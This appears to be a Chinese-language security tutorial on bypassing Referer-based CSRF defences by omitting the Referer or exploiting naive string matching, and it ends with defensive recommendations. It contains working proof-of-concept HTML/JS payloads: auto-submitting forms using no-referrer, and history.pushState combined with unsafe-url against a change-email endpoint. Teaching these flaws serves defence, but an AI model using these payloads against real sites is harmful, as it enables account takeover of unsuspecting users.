CSRF 专题:基于 Referer 的防御与典型绕过

部分应用通过检查 HTTP Referer 请求头,判断敏感请求是否来自本站页面。这种机制可以作为辅助防御,但不适合作为唯一的 CSRF 防线。

常见缺陷主要有两类:

  1. Referer 缺失时跳过校验;
  2. 使用简单字符串匹配验证域名。

两类问题分别对应:

复制代码
让 Referer 消失
或
让恶意 Referer 包含可信域名文本

一、Referer 防御的基本逻辑

浏览器发起请求时,通常会自动添加 Referer

复制代码
POST /account/change-email HTTP/1.1
Host: victim.example
Cookie: session=abc123
Referer: https://victim.example/settings

服务端希望同时确认:

复制代码
Cookie 有效
→ 请求属于已登录用户

Referer 可信
→ 请求由本站页面触发

如果请求来自攻击页面,Referer 可能是:

复制代码
Referer: https://attacker.example/exploit

服务端据此拒绝请求。

问题在于,Referer 是可选请求头,其内容还会受到浏览器和 Referrer-Policy 的影响。服务端如果错误处理"缺失状态"或错误解析 URL,防御就可能被绕过。

注意二者的拼写:

复制代码
请求头:Referer
策略头:Referrer-Policy

二、绕过一:Referer 缺失时放行

1. 漏洞根因

存在漏洞的服务端逻辑通常类似:

复制代码
const referer = request.headers.referer;

if (referer && !isTrusted(referer)) {
    rejectRequest();
}

processRequest();

它的实际行为是:

Referer 状态 处理结果
存在且可信 放行
存在但不可信 拒绝
不存在 跳过校验并放行

这属于典型的 Fail-open

无法确认请求来源时,系统反而默认允许请求继续执行。


2. 攻击方式

攻击页面可以通过 Referrer Policy 要求浏览器不发送 Referer:

复制代码
<meta name="referrer" content="no-referrer">

<form method="POST"
      action="https://victim.example/account/change-email">
    <input type="hidden"
           name="email"
           value="attacker@example.com">
</form>

<script>
    /*
     * 自动提交跨站请求。
     * no-referrer 只隐藏来源信息,
     * 不会主动删除目标网站的 Session Cookie。
     */
    document.forms[0].submit();
</script>

最终请求可能包含认证 Cookie,但没有 Referer:

复制代码
POST /account/change-email HTTP/1.1
Host: victim.example
Cookie: session=abc123

email=attacker%40example.com

完整攻击链为:

复制代码
攻击页面设置 no-referrer
→ 浏览器省略 Referer
→ 服务端无法判断来源
→ 服务端错误地跳过校验
→ 请求凭借 Session Cookie获得用户身份
→ 敏感操作执行

这类漏洞的本质是:

服务端把"来源未知"错误地当成了"来源可信"。


三、绕过二:Referer 域名校验不严格

这类问题中 Referer 正常存在,但服务端没有解析 URL 的真实来源,而是进行了简单字符串匹配。

1. 错误的前缀匹配

例如:

复制代码
referer.startsWith("https://victim.example")

攻击者可以使用:

复制代码
https://victim.example.attacker.example/csrf

这条 URL 确实以 https://victim.example 开头,但真实主机名是:

复制代码
victim.example.attacker.example

它属于攻击者控制的 attacker.example,而不是 victim.example


2. 错误的包含匹配

例如:

复制代码
referer.includes("victim.example")

攻击者只需让目标域名作为普通文本出现在 URL 中:

复制代码
https://attacker.example/?victim.example

该 URL 的真实来源仍然是:

复制代码
https://attacker.example

但错误的服务端逻辑会因为整条 Referer 中出现了 victim.example 而放行请求。

核心问题是:

URL 中包含可信域名文本,不代表该 URL 的 Host 就是可信域名。


四、为什么 Burp 能绕过,浏览器 PoC 却可能失败

在 Burp Repeater 中,可以手动设置完整请求头:

复制代码
Referer: https://attacker.example/?victim.example

但真实浏览器在跨源请求中通常不会发送完整 URL。默认策略可能将其裁剪为:

复制代码
Referer: https://attacker.example/

路径和查询字符串被删除后,victim.example 不再出现在 Referer 中,服务端的错误包含匹配也就不会通过。

因此,Referer 绕过需要同时分析:

复制代码
服务端如何检查 Referer
+
浏览器实际会发送哪一部分 Referer

五、Referrer-Policy: unsafe-url 的作用

为了让浏览器发送完整 Referer,包括路径和查询字符串,攻击服务器可以返回:

复制代码
Referrer-Policy: unsafe-url

假设攻击页面地址为:

复制代码
https://attacker.example/?victim.example

浏览器提交表单时,就可能发送:

复制代码
Referer: https://attacker.example/?victim.example

这使查询字符串中的可信域名文本能够到达服务端。

两种策略分别对应两类攻击:

Referrer Policy 效果 利用目标
no-referrer 完全省略 Referer 绕过缺失时放行
unsafe-url 发送完整 URL 绕过错误的字符串匹配

unsafe-url 会增加路径和查询参数泄露风险,正常网站不应随意使用。


六、history.pushState() 在攻击中的角色

history.pushState() 的作用不是伪造 Referer,也不是直接修改 HTTP 请求头。

它真正完成的是:

在不重新加载页面的情况下,修改当前攻击页面的 URL,使目标域名文本成为该页面 URL 的一部分。

例如,攻击页面最初位于:

复制代码
https://attacker.example/exploit

执行:

复制代码
history.pushState(
    '',
    '',
    '/?victim.example'
);

地址栏会变为:

复制代码
https://attacker.example/?victim.example

但页面不会重新加载,当前 Origin 仍然是:

复制代码
https://attacker.example

随后页面提交跨站表单时,浏览器会根据当前文档 URL生成 Referer。

因此攻击逻辑分为两步:

复制代码
history.pushState()
→ 把 victim.example 写入当前页面 URL

Referrer-Policy: unsafe-url
→ 要求浏览器把完整页面 URL 作为 Referer 发送

两者缺一不可。

只使用 pushState() 时,浏览器仍可能把 Referer 裁剪成:

复制代码
Referer: https://attacker.example/

只设置 unsafe-url 时,如果攻击页面 URL 中没有 victim.example,服务端的包含匹配同样不会通过。

完整 Payload 如下:

复制代码
<form method="POST"
      action="https://victim.example/account/change-email">
    <input type="hidden"
           name="email"
           value="attacker@example.com">
</form>

<script>
    /*
     * 将可信域名文本写入当前攻击页面的查询字符串。
     * 页面不会重新加载,Origin 也不会改变。
     */
    history.pushState(
        '',
        '',
        '/?victim.example'
    );

    /*
     * 提交跨站 POST。
     * 攻击服务器还需要返回:
     * Referrer-Policy: unsafe-url
     */
    document.forms[0].submit();
</script>

浏览器最终可能发送:

复制代码
POST /account/change-email HTTP/1.1
Host: victim.example
Cookie: session=abc123
Referer: https://attacker.example/?victim.example

email=attacker%40example.com

服务端如果使用:

复制代码
referer.includes("victim.example")

就会错误地认为请求来自本站。


七、两类绕过的统一框架

漏洞类型 服务端错误 攻击方式
Referer 缺失时放行 无来源信息时 Fail-open 使用 no-referrer 隐藏 Referer
Referer 内容校验错误 把可信域名文本当作可信来源 使用 pushState()unsafe-url 构造完整 Referer

统一攻击模型是:

复制代码
攻击者控制页面的 Referrer Policy 或页面 URL
→ 改变浏览器最终发送的 Referer
→ 触发服务端校验缺陷
→ 来源检查被绕过
→ 认证 Cookie 仍随请求发送
→ 敏感操作执行

需要强调,绕过 Referer 只解决来源检查问题。攻击是否最终成立,还取决于:

复制代码
SameSite 是否允许 Cookie 发送
是否存在 CSRF Token
是否同时校验 Origin
敏感操作是否要求重新认证

八、防御建议

Referer 不应作为唯一的 CSRF 防御。

状态修改接口应优先使用:

复制代码
会话绑定的 CSRF Token
+ 精确 Origin 校验
+ 显式 SameSite

如果继续使用 Referer,应遵循两项原则。

第一,缺失时拒绝:

复制代码
if (!referer) {
    rejectRequest();
}

第二,解析 URL 后精确比较 Origin:

复制代码
const refererUrl = new URL(referer);

if (refererUrl.origin !== "https://victim.example") {
    rejectRequest();
}

不要使用:

复制代码
referer.includes("victim.example");
referer.startsWith("https://victim.example");

对于修改密码、绑定邮箱、支付信息等高风险操作,还应要求当前密码、重新认证或多因素确认。


九、结论

Referer 型 CSRF 防御主要有两个失败面:

复制代码
Referer 缺失时如何处理
+
Referer 内容如何验证

对应的攻击方法是:

复制代码
no-referrer
→ 让来源信息完全消失

history.pushState() + unsafe-url
→ 让恶意来源中携带可信域名文本

其中,history.pushState() 只负责修改当前页面 URL,unsafe-url 才负责让浏览器发送完整 URL。二者配合后,攻击者才能把目标域名文本送入 Referer,从而触发服务端的错误包含匹配。

可靠的防御不应依赖 Referer 字符串,而应以 CSRF Token 和精确 Origin 校验为核心。

相关推荐
濮水大叔5 小时前
不必把 Vue3 写成“麻花”:从状态碎片到对象协作,重新理解 Zova 的前端心智模型
前端·typescript·vue3·ioc·tsx·zova
MartinYeung55 小时前
[论文学习]PACT:溯源感知能力合约——面向智能体安全的参数级溯源
人工智能·学习·安全
栋***t6 小时前
2026年不止防作弊,麦塔在线培训系统培训与考试安全的体系化设计
网络·安全
Vince的修炼之路6 小时前
防 Prompt 注入安全技术深度分析
人工智能·安全
Vuji6 小时前
MCP: 一条 tool 调用链路的旅程
前端·人工智能
万少6 小时前
DeepSeek-V4-Flash 正式版上线了,但这 3 个坑我帮你提前踩了
前端·javascript·后端
明月_清风6 小时前
🚀 Palantir Foundry 本体论实战:当 Ontology 从"知识图谱"进化为"企业操作系统"
前端·后端
驳是6 小时前
入坑 Nginx,看这一篇就够了
前端
宁风NF7 小时前
JavaScript:网络请求与前端通信
开发语言·前端·javascript·网络·学习·ecmascript
明月_清风7 小时前
从概念到代码:用 Ontology 构建你的第一个知识图谱
前端·后端